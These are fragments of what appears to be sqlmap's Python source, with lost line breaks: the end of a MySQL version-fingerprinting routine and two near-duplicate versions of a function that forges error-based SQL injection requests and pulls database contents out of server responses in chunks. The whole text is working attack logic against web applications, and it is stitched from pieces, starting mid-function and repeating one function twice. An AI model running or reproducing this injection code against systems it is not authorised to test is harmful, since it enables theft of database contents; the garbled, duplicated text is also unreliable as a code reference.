Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression( "@@character_set_filesystem=@@character_set_filesystem" ): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])" ): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression( "@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression( "@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression( "STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression( "3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression( "2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression( "CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression( "'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False
def __oneShotErrorUse(expression, field): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), __formatPartialContent(partialValue))) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue chunk_length = None if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) nulledCastedField = agent.nullAndCastField(field) if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, chunk_length) elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH nulledCastedField = queries[DBMS.MSSQL].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) incrementCounter(PAYLOAD.TECHNIQUE.ERROR) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, [ \ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \ None) if output is not None: output = getUnicode(output, kb.pageEncoding) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected (due to its length): " warnMsg += trimmed logger.warn(warnMsg) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break if kb.fileReadMode and output: dataToStdout(__formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = __errorReplaceChars(retVal) hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def __oneShotErrorUse(expression, field=None): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), __formatPartialContent(partialValue))) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH else: chunk_length = None if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.unescape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True) incrementCounter(PAYLOAD.TECHNIQUE.ERROR) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, [ \ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \ None) if output is not None: output = getUnicode(output, kb.pageEncoding) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected (due to its length): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break if kb.fileReadMode and output: dataToStdout(__formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = __errorReplaceChars(retVal) hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal